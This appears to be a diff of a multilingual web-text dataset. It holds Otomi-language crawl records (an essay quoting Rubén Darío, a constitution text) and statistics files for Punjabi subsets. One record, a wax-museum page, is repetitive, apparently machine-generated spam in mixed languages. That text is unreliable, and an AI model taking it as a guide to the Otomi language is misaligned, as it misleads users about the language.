ge\nhabu ri ñ'ehe nuna mpaha pa da ntsithe. R'a\nena ge pa da nzot'e r'a ya nzaki ge othobi nu\nya ntsi di tsihu, mar'a ra nge'a othobi ra\npaha pa da ts'ogi dige'a ra ts'ithe, ya nhñu ra\nnge'a feti to'o tsithe. Nu'u mar'a ri\nñ'ehe ngu ra tsogi ma dadahu. Nu'a ge nehe ri\nñ'ehe nu'a hanja gatho sta b'uihu\ndigeb'u ma nbätsihu, ngu bi mä ko\nndunthi majuäni ra hogats'on'ahmä ra Rubén Darío ha\n\"Ra ntuhu dega b'ui ne ra bendom'i ge\nbi mä:\n12\n\"Yo supe de dolor desde mi infancia;\nmi juventud ……¿fue juventud la mía?,\nsus rosas aún me dejan su fragancia,\nuna fragancia de melancolía\".\nEs entonces, que se buscan antídotos momentáneos de\neste gran mal que es la melancolía. Algunas personas\nsaben manejar muy bien esta sensación y la\ntransforman en momentos de dicha, viven felices,\ndisfrutan de sus logros y aspiran a obtener más; en\ntanto que otros caen en su influjo y se\nautodestruyen poco a poco.\n13\n\"Nugi da pädi ra ñ'u digeb'u ma nbätsi;\nMa nbäsjä'i…… ¿ bi nbäsjä'i ma meti?,\nYa noxadoni bi tsogi ra mfänt'i,\nN'a ra mfänt'i dega ndumui.\nEbu ge ri thoni ya ñ'ethi pa nuna dänga\nhñeni ge ra thuhu ra ndumui. R'a ya jä'i pädi\nda et'i ra b'ui xahño nuna ntsa ne ri\npunt'i ha ya n'amitho pa da b'ui ha\nya mpaha, b'ui mpaha ri johya, tsa ma kui\nnu'a xa tsupabi ra ts'edi xa ot'e\nne tom'i da hohi man'a tui: nu'u\nmar'a ingi pädi da njabu, tso ha ra y'e\nnuna ts'o nzäi ne ri njuadi sehe r'ama\ntuki ne r'amats'u","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.destiempos.com\/n18\/raymundoalavez.htm","date":"2013-12-08T10:14:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163064915\/warc\/CC-MAIN-20131204131744-00032-ip-10-33-133-15.ec2.internal.warc.gz","language":"oto","language_score":0.5603713989,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"oto_Latn_score\": 0.5603713989257812, \"ote_Latn_score\": 0.40762749314308167, \"ots_Latn_score\": 0.018457546830177307}","num_words":5778,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.256,"flagged_words_ratio":0.0,"lang_id_score":0.766,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Thuhuu ar xeni Nthuts'i: Pantalla Interior decoratingExpansion hñä: nei ya ma̲ha̲ ngú njwati ya hyats'i yá Star ma̲ha̲ ngú njwati ya hyats'i yá hyats'i ma̲ha̲ ngú njwati diseño yá ma̲ha̲ ngú...Mäs\nThuhuu ar xeni Nthuts'i: Display — EmperorExpansion antiguo chino ar hñä: famosos ya ma̲ha̲ ngú njwati ya hyats'i yá Star ma̲ha̲ ngú njwati ya hyats'i yá hyats'i ma̲ha̲ ngú njwati diseño yá ma̲ha̲...Mäs\nThuhuu ar xeni Nthuts'i: exhibición ma̲ha̲ ngú njwati ya hyats'i — folk jár 'mui diseño yá ar jár nthäti cultureExpansion hñä: Celebrity Star yá ma̲ha̲ ngú njwati ya hyats'i ma̲ha̲ ngú njwati ya...Mäs\nThuhuu ar xeni Nthuts'i: Pantalla-vino cultureExpansion hñä: nei ya ma̲ha̲ ngú njwati ya hyats'i yá Star ma̲ha̲ ngú njwati ya hyats'i yá hyats'i ma̲ha̲ ngú njwati diseño yá ma̲ha̲ ngú njwati ar ar...Mäs\nThuhuu ar xeni Nthuts'i: Minoría étnica pantalla themeExpansion hñä: famosos ya ma̲ha̲ ngú njwati ya hyats'i yá Star ma̲ha̲ ngú njwati ya hyats'i yá hyats'i ma̲ha̲ ngú njwati diseño yá ma̲ha̲ ngú...Mäs\nThuhuu ar xeni Nthuts'i: Pantalla-tema settingsExpansion hñä: nei ya ma̲ha̲ ngú njwati ya hyats'i yá Star ma̲ha̲ ngú njwati ya hyats'i yá hyats'i ma̲ha̲ ngú njwati diseño yá ma̲ha̲ ngú njwati ya...Mäs\nThuhuu ar xeni Nthuts'i: Pantalla — tribu Yan DiExpansion hñä: nei ya ma̲ha̲ ngú njwati ya hyats'i yá Star ma̲ha̲ ngú njwati ya hyats'i yá hyats'i ma̲ha̲ ngú njwati diseño yá ma̲ha̲ ngú njwati ar...Mäs","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/otq.chinawaxstatue.com\/wax-museum-1","date":"2018-03-24T15:34:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257650730.61\/warc\/CC-MAIN-20180324151847-20180324171847-00387.warc.gz","language":"oto","language_score":0.5148195624,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"oto_Latn_score\": 0.5148195624351501, \"otq_Latn_score\": 0.16268596053123474, \"ote_Latn_score\": 0.13989336788654327, \"zaa_Latn_score\": 0.032811444252729416, \"cux_Latn_score\": 0.027967654168605804, \"tca_Latn_score\": 0.01662253774702549, \"otm_Latn_score\": 0.013633091934025288, \"ots_Latn_score\": 0.011600472964346409}","num_words":226,"character_repetition_ratio":0.287,"word_repetition_ratio":0.456,"special_characters_ratio":0.21,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":0.641,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"NDÄTHOT'I, HÑÄSÜMPOTE XENIHNINI GOTHO M'ONDA\nGätsi mpodi DOF 26-09-2008\nNDÄTHOTHI HÑÄMSÜPOTE XENIHNINI GOTHO M'ONDA\nNdäthothi Üdi ra nt'ot'i nu ra hiaxä gotho M'onda ra kut'a ra yoho zähä n'a m'o guto ret'a ma yoto.\nNT'OT'I MUT'IA\nGätsi ra mpadi üdi nt'ot'i DOF n'ote r'ato ra zänä guto yoho m'o hñäto.\nNunu C. ndä mü m'etho fadi dähä bi ndumi ra ndäthot'i, bi tsakbi ra ndä nsü ne bi\nhoki M'onda, kon ge n'a rap a di nuna ra ndäthot'i hem'i bi hogi.\nVenustiano Carranza, m'etho mü fadi dähä ohte ndänthot'i, bi mpote ne bi hoki k\nara xeni hnini Mengu M'onda, ge di mango dä fädi.\nNu ya jäi hmunts'i mpote othe ra ndäthot'i nuä ka ra nda hnini ra n'a ra pa ra zänä\nret'a ma yoho n'a m'a guto ret'a ma rato, ka ra tsedi ra ndäthot'i hem'i bi boni ne\nbi m'ät'i nu ra ret'a ma guto ra zänä guto di j'eya ä, bi boni di ge ra m'etho ndä, bi\nnfädi ne bi nhe nuä m'aä ha ra xeni goho. Ne bi mpodi k ara ret'a ma goho bi thoki\nne bi thudi ya zänä ret'a ma goho, bi üni ra H Mponthä Majuani katsutho ra ntot'e\nLupe, ra n'ote ra zänä n'a m'o ret'ä ma hñu, xi xa hogi ra za xka thoki ngu jäna.\nNDÄTHOT'I HNÄNSÜMPOTE XENIHNINI GOTHO M'ONDA XA MPODI RA\nKUT'A RA PA YOHO ZÁNÄ N'A M'O HÑÄTO YOHO N'OTE YOTO\nTHUTBI N'A\nHEKE N'A\nDä mati n'a ngu na\nXeni N'a (Art. 1). Nu ka ya xeni hnini gotho M'onda gotho ya jäi xi da ziptho ne\nxi da mati nu a mä ra ndäthot'i, nuyu ge hinda tsit'i ne hinda m'ami, honse u\nmambihu ne da tsotse da hogi di geñ'ä manse.\nHingi za hñämbi ya nzaki ya jäi nu u mui ka ra xeni hnini gotho M'onda. Nu ya\nhñämbi mengu zubi nu u ba kut'i ka xeni hnini mengu M'onda da zotsene. Nuna\nxa thoki, dä thegi dä mut'i ne da mäti ngu ja m'ä ra hñämbi.\nKohi hingi za ra t'utsa nu u ha ba ehe ya n'anyo mui di ge gotho M'onda, ya jäi\ntengu j'eya petsi, u petsi n'a ra thogi, nupu ha mui, kongotho ya jäi ne ya mui ra\nza, ya jäi, ya m'aä, ya nhe ra thäti ne ma ra u hinte da jäpi kongotho ya mui jäi\nne hinda xambi nu u te petsi ne da thegi gotho jäi.\nXeni Yoho (Art. 2). Ra gotho ndähnini M'onda gesenu ne hingi negi.\nGotho ndähnini M'onda petsi xangu ya mui nfädi m'etho ne mutbu xa ehe ma\nyamu ya hnini ge xi xa ntungi gotho ka ya xeni habu mui gotho k ara mui M'onda\nge xi mutp'ia k ara ndähnini M'onda nu a mi ndui ra hñämbi hai nep'ia ge xi\npetsutho ya muise nu mu ya bi muntsi gotho, hojä muimfädi ne ya hñänsümote,\nne u mara ya metseyu.\nDä m'aädi ne dä nhe ra mui hñätho ge xi xa za pa da hñäki toä da m'aä ha da\njäpi di hoki u ne nu k ara hnini hñätho.\nGeyu ya hnini muhu ma ra ya hnini hñätho, ge yu dä muntsi ma n'a ra gotho\nhnini, bojä ne ya mui nfädi m'etho, mupu ka ndähnini ne ge xi pädi hanja di ñetsi\nya nzaya di u ya mui nfädi zämu hoki.\nYa hnini hñätho thegi ne petsi hanja di gohi ne di hokse u m'ä ra thot'i ne da nja\nra muntsi gotho ka ra ndähnini M'onda, da badi di ge ya tahnini ne ya hnini ya\nhñätho, ge m'ä njäpu ra ndäthoti ne ya hñämbi nu gotho k a ya hnini M'onda, ge\ngotho da m'eyu, neu xa ndui gotho hanja u xa hoki nugu ka ä ya xa t'otupmañä\nnuna ra xeni, ya mfädi ya hñätho nepu habu mui.\nA. Nuna ra ndäthot'i padi ne mati u petsi ya tahnini ne ya hnin hñätho ge da\nun hanga di t'ot'e nu u da m'ä ne, dä hogi ra za u di ñ'epu, da hokse pa dä:\nI. Mä mbo hadanja ra mui ne ra muntsi hnini, bojä, hñänsümpote ne ya mui\nfädi m'etho.\nII. Jäpi hokse nzutbi pa da un hanja di mui ne di hoka tsutbi ya tuhni u mupu\nde genseu, ngu jä ä ma ra ndä ndui thot'i, ne da jäpi ma sü n'a ngu n'a u petsi\nnja di mui jäi ne xi da hogi ra za, ra nt'ote kon gotho ra jäi ra m'ehñä. Nu ra\nhñämbi ge m'ä un ü hingi thoki ra z ge hinda nu ra tsutbi n era ndänzaya nuä di\nnu.\nIII. Hetsi di gen u pädi ha da jäpse, ngu ja u ot'e zämu di ge ya mui, nu mu\nya bi ñetsi ya nzaya ne u dä ndämpote ne pädi hanja di ñaki ya nda nzayase, ne\nda thuni ra kuat'i ya m'ehñä pa da rangutho ngujäu ya metsi ya ñ'oho, di ge u\nma ra nt'ote mati gotho ya mui ra jäi mupu ka xeni hnini.\nIV. Kuati ne kotsi ma ra ya mui hñätho, u xi pätho gotho ya mui m'etsi di ge\nya hnini hñätho mupu.\nV. Dä kuati ne hoki ra za ya jäi, gotho ya hai ngu ja ä m'aä ra ndäthot'i.\nVI. Dä thegi, ko ma sü ha da nja di t'ot'e ne ha da jäpi di un ya hoy ngu jä ä\nm'aä ra ndäthot'i ne k o ra hñämbi ä m'aä, ge petsi da hoki ra za un u ne ngu\nhanja ma ä ra hñu di ge ya muntsi jäi k ara hnini, un ha di un ne ha xi di ziptho\nya hai gotho u üni ra tsi mui un pu ha mui ne pu ha tsedi ya meti k ara hnini, mu\nma ra ge hinda da doni ne hinda ñ'embi ya meti, ngu ja ä m'aä r andäthot'i. pada\nhoyu; da un konge ra hnini ha dä jäpi ngu ja ä m'aä ne jätsi ra hñämbi.\nVII. Hñäki, un ka ya tahnini ne ko ya hnini hñätho, pa dä mpote un ka ya\ntahnini.\nYa thot'i ne ya hñambi di ge k ara xeni gotho hnini M'onda da fätbi ne dä t'ot'e\nnu u petsi ma sü k ara tahnini, pa dä nte ne da tsotse ya nsü mpote ne da\nhñänsüpote pe ge di rangutho ya nhe di ge ya metho mui hñä ne ya mfädise.\nVIII. Däyut'i ra za ka ra ntsegi xeni. Pa dä m'aämbi üenda nu u petsi, gotho ya\ntsutbi ne di m'äpu u embi ya meti, nu u rase ua gotho, ge xi da ümba ma sü\ngotgo ya mui ne ya metho mfädi ne xi da maki ngu ja ä m'ära nuna ra ndäthot'i.\nNu ya hñätho petsi gotho ya pa da ponyahñä neda mädi ge pädi ya mui ne\nhñätho ma m'etho.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/doctrina.vlex.com.mx\/vid\/pola-tica-unidos-mexicanos-centro-446239701","date":"2020-08-05T16:59:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735963.64\/warc\/CC-MAIN-20200805153603-20200805183603-00428.warc.gz","language":"oto","language_score":0.6245257854,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"oto_Latn_score\": 0.624525785446167, \"ote_Latn_score\": 0.36687788367271423}","num_words":1143,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.271,"stopwords_ratio":0.344,"flagged_words_ratio":0.0,"lang_id_score":0.745,"perplexity_score":500.0,"cluster_detection":-1} diff --git a/oto_Latn/fineweb-2_000001_stas.jsonl b/oto_Latn/fineweb-2_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e5caa3bc38ed86f2eb5739e1ec6500c140c01956 --- /dev/null +++ b/oto_Latn/fineweb-2_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 544.7894736842105, + "character_repetition_ratio": 0.09347368421052632, + "word_repetition_ratio": 0.04705263157894737, + "special_characters_ratio": 0.21115789473684213, + "stopwords_ratio": 0.16057894736842104, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.6292631578947369, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 1261.7778426092777, + "character_repetition_ratio": 0.06658936885360402, + "word_repetition_ratio": 0.11108293425431504, + "special_characters_ratio": 0.03862813694690594, + "stopwords_ratio": 0.10573119630731592, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.18683452912734902, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 161.0, + "character_repetition_ratio": 0.081, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.204, + "stopwords_ratio": 0.117, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.629, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 5778.0, + "character_repetition_ratio": 0.287, + "word_repetition_ratio": 0.456, + "special_characters_ratio": 0.271, + "stopwords_ratio": 0.383, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 53.0, + "character_repetition_ratio": 0.003, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.122, + "stopwords_ratio": 0.022, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.351, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 848.5999999999997, + "character_repetition_ratio": 0.17539999999999997, + "word_repetition_ratio": 0.1752, + "special_characters_ratio": 0.2636, + "stopwords_ratio": 0.35019999999999996, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.8483999999999999, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 280.5, + "character_repetition_ratio": 0.1095, + "word_repetition_ratio": 0.0065, + "special_characters_ratio": 0.247, + "stopwords_ratio": 0.20550000000000002, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.764, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 161.0, + "character_repetition_ratio": 0.081, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.204, + "stopwords_ratio": 0.117, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.629, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 116.0, + "character_repetition_ratio": 0.0485, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.187, + "stopwords_ratio": 0.088, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.4345, + "perplexity_score": 500.0 + } + }, + { + "total size": "19", + "keep size": "16", + "remove size": "3" + } +] \ No newline at end of file diff --git a/pnb_Arab/fineweb-2_000001_stas.jsonl b/pnb_Arab/fineweb-2_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..1386b4ca038bf909eb79258bad43400d159d02f4 --- /dev/null +++ b/pnb_Arab/fineweb-2_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 708.8036835496024, + "character_repetition_ratio": 0.05616827124319799, + "word_repetition_ratio": 0.00024452351053439375, + "special_characters_ratio": 0.22003181247383843, + "stopwords_ratio": 0.0057440351611552955, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9745898562857542, + "perplexity_score": 3758136.315976001 + } + }, + { + "std": { + "num_words": 2712.045588970527, + "character_repetition_ratio": 0.025196947312783217, + "word_repetition_ratio": 0.002045013624366301, + "special_characters_ratio": 0.014403805651270269, + "stopwords_ratio": 0.007068728482045887, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.048376815671165536, + "perplexity_score": 1690977.529987151 + } + }, + { + "median": { + "num_words": 223.0, + "character_repetition_ratio": 0.056, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.22, + "stopwords_ratio": 0.004, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.999, + "perplexity_score": 3541938.8 + } + }, + { + "max": { + "num_words": 126805.0, + "character_repetition_ratio": 0.165, + "word_repetition_ratio": 0.095, + "special_characters_ratio": 0.318, + "stopwords_ratio": 0.064, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 10210599.4 + } + }, + { + "min": { + "num_words": 49.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.165, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.705, + "perplexity_score": 36044.4 + } + }, + { + "90%": { + "num_words": 1492.7000000000007, + "character_repetition_ratio": 0.088, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.238, + "stopwords_ratio": 0.015, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 6149922.050000001 + } + }, + { + "75%": { + "num_words": 551.0, + "character_repetition_ratio": 0.074, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.229, + "stopwords_ratio": 0.009, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 4863116.425 + } + }, + { + "50%": { + "num_words": 223.0, + "character_repetition_ratio": 0.056, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.22, + "stopwords_ratio": 0.004, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.999, + "perplexity_score": 3541938.8 + } + }, + { + "25%": { + "num_words": 140.0, + "character_repetition_ratio": 0.039, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.21, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.97, + "perplexity_score": 2451377.2750000004 + } + }, + { + "total size": "14334", + "keep size": "12982", + "remove size": "1352" + } +] \ No newline at end of file diff --git a/pnb_Arab/mala_000002_stas.jsonl b/pnb_Arab/mala_000002_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..8d90bc5ef3f94d6835f6ede5ca3b41fb716bcb89 --- /dev/null +++ b/pnb_Arab/mala_000002_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 56.60729587826734, + "character_repetition_ratio": 0.01690395517809758, + "word_repetition_ratio": 0.00018728025761753062, + "special_characters_ratio": 0.22517156105481276, + "stopwords_ratio": 0.00168541391026257, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9814963991199218, + "perplexity_score": 4847434.569271669 + } + }, + { + "std": { + "num_words": 168.59349175689235, + "character_repetition_ratio": 0.032351117321037355, + "word_repetition_ratio": 0.005452460934419975, + "special_characters_ratio": 0.03408774032988353, + "stopwords_ratio": 0.007972555348553784, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.08010637142934221, + "perplexity_score": 2445830.5757350326 + } + }, + { + "median": { + "num_words": 30.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.219, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 5017379.5 + } + }, + { + "max": { + "num_words": 76562.0, + "character_repetition_ratio": 0.2, + "word_repetition_ratio": 1.0, + "special_characters_ratio": 0.4, + "stopwords_ratio": 0.222, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 10741184.6 + } + }, + { + "min": { + "num_words": 8.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.042, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.042, + "perplexity_score": 83.6 + } + }, + { + "90%": { + "num_words": 131.0, + "character_repetition_ratio": 0.066, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.267, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 7982251.58 + } + }, + { + "75%": { + "num_words": 61.0, + "character_repetition_ratio": 0.021, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.239, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 6801440.6 + } + }, + { + "50%": { + "num_words": 30.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.219, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 5017379.5 + } + }, + { + "25%": { + "num_words": 18.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.204, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.999, + "perplexity_score": 2935902.3 + } + }, + { + "total size": "405873", + "keep size": "368580", + "remove size": "37293" + } +] \ No newline at end of file diff --git a/pnb_Arab/mala_000003_stas.jsonl b/pnb_Arab/mala_000003_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..12ea70b574dc53ae738c5bc56a29cdb06bc018ec --- /dev/null +++ b/pnb_Arab/mala_000003_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 173.65030847163638, + "character_repetition_ratio": 0.025142029999605783, + "word_repetition_ratio": 0.0005795423187605946, + "special_characters_ratio": 0.22617441212993256, + "stopwords_ratio": 0.0016898258564276417, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9835488947254306, + "perplexity_score": 4475266.187663844 + } + }, + { + "std": { + "num_words": 1154.210636039648, + "character_repetition_ratio": 0.039584678634269045, + "word_repetition_ratio": 0.007717921461373696, + "special_characters_ratio": 0.03310273677206319, + "stopwords_ratio": 0.007422539052438153, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.07274875436926852, + "perplexity_score": 2460509.0218863357 + } + }, + { + "median": { + "num_words": 35.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.221, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 4459167.45 + } + }, + { + "max": { + "num_words": 117809.0, + "character_repetition_ratio": 0.2, + "word_repetition_ratio": 0.962, + "special_characters_ratio": 0.4, + "stopwords_ratio": 0.238, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 10812870.1 + } + }, + { + "min": { + "num_words": 9.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.088, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.09, + "perplexity_score": 339.3 + } + }, + { + "90%": { + "num_words": 206.0, + "character_repetition_ratio": 0.083, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.267, + "stopwords_ratio": 0.002, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 7822994.7 + } + }, + { + "75%": { + "num_words": 86.0, + "character_repetition_ratio": 0.044, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.241, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 6441257.125 + } + }, + { + "50%": { + "num_words": 35.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.221, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 4459167.45 + } + }, + { + "25%": { + "num_words": 19.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.205, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.999, + "perplexity_score": 2396736.1 + } + }, + { + "total size": "405872", + "keep size": "378313", + "remove size": "27559" + } +] \ No newline at end of file diff --git a/pnb_Arab/new_cc_000004_stas.jsonl b/pnb_Arab/new_cc_000004_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..fe78e78e698a459f16f447faa0d87385c57c805f --- /dev/null +++ b/pnb_Arab/new_cc_000004_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 805.315829318651, + "character_repetition_ratio": 0.02370027529249828, + "word_repetition_ratio": 0.010196696490020647, + "special_characters_ratio": 0.2157979353062629, + "stopwords_ratio": 0.0014425326909841708, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9909539573296626, + "perplexity_score": 1449403.1569855472 + } + }, + { + "std": { + "num_words": 3187.754284977797, + "character_repetition_ratio": 0.03281139842200195, + "word_repetition_ratio": 0.04857448416753973, + "special_characters_ratio": 0.038330558428398116, + "stopwords_ratio": 0.0039237617209078755, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.04394802050562621, + "perplexity_score": 1507898.9642970618 + } + }, + { + "median": { + "num_words": 49.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.209, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 857546.2 + } + }, + { + "max": { + "num_words": 106276.0, + "character_repetition_ratio": 0.584, + "word_repetition_ratio": 1.0, + "special_characters_ratio": 0.434, + "stopwords_ratio": 0.057, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 10050683.9 + } + }, + { + "min": { + "num_words": 19.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.163, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.369, + "perplexity_score": 14166.1 + } + }, + { + "90%": { + "num_words": 1589.0, + "character_repetition_ratio": 0.065, + "word_repetition_ratio": 0.016, + "special_characters_ratio": 0.266, + "stopwords_ratio": 0.004, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 3520553.4600000004 + } + }, + { + "75%": { + "num_words": 426.0, + "character_repetition_ratio": 0.046, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.239, + "stopwords_ratio": 0.001, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.999, + "perplexity_score": 1368953.9 + } + }, + { + "50%": { + "num_words": 49.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.209, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 857546.2 + } + }, + { + "25%": { + "num_words": 26.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.183, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 857546.2 + } + }, + { + "total size": "14530", + "keep size": "13163", + "remove size": "1367" + } +] \ No newline at end of file diff --git a/pnb_Arab/new_cc_000005_stas.jsonl b/pnb_Arab/new_cc_000005_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..19fb8bd99a41ed0cb88ba4d7250e85796a54f227 --- /dev/null +++ b/pnb_Arab/new_cc_000005_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 849.9426861340346, + "character_repetition_ratio": 0.02490369094041897, + "word_repetition_ratio": 0.010673347238596172, + "special_characters_ratio": 0.2167707445361386, + "stopwords_ratio": 0.001551555273419788, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9881427405459328, + "perplexity_score": 1435699.0366464132 + } + }, + { + "std": { + "num_words": 3072.674057049779, + "character_repetition_ratio": 0.03520649384203946, + "word_repetition_ratio": 0.04705212393317804, + "special_characters_ratio": 0.03929137254291455, + "stopwords_ratio": 0.0042162614373974375, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.05332348084094239, + "perplexity_score": 1495409.3041514328 + } + }, + { + "median": { + "num_words": 65.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.21, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 857546.2 + } + }, + { + "max": { + "num_words": 106181.0, + "character_repetition_ratio": 0.4, + "word_repetition_ratio": 1.0, + "special_characters_ratio": 0.607, + "stopwords_ratio": 0.138, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 10076962.2 + } + }, + { + "min": { + "num_words": 20.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.12, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.397, + "perplexity_score": 10144.8 + } + }, + { + "90%": { + "num_words": 1731.9999999999982, + "character_repetition_ratio": 0.066, + "word_repetition_ratio": 0.02, + "special_characters_ratio": 0.267, + 